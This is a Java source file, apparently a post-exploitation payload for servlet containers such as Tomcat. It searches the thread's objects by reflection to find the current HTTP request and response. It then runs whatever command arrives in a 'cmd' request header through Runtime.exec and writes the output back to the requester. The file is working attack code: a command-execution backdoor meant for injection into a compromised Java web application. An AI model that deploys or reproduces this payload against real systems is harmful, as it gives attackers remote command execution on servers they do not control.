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//Author:fnmsd
//Blog:https://blog.csdn.net/fnmsd
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;
public class dfs_classloader {
static HashSet<Object> h;
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
static Class hsr;//HTTPServletRequest.class
static Class hsp;//HTTPServletResponse.class
static String cmd;
static Object r;
static Object p;
// static {
// r = null;
// p = null;
// h =new HashSet<Object>();
// F(Thread.currentThread(),0);
// }
public dfs_classloader()
//static
{
// System.out.println("start");
r = null;
p = null;
h =new HashSet<Object>();
try {
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
F(Thread.currentThread(),0);
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
r = o;
//Tomcat特殊处理
try {
cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
if(cmd==null) {
r = null;
}else{
//System.out.println("find Request");
try {
Method getResponse = r.getClass().getMethod("getResponse");
p = getResponse.invoke(r);
} catch (Exception e) {
//System.out.println("getResponse Error");
r=null;
//e.printStackTrace();
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
p = o;
}
if(r !=null&& p !=null){
try {
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
pw.flush();
pw.close();
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
}catch (Exception e){
}
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
}
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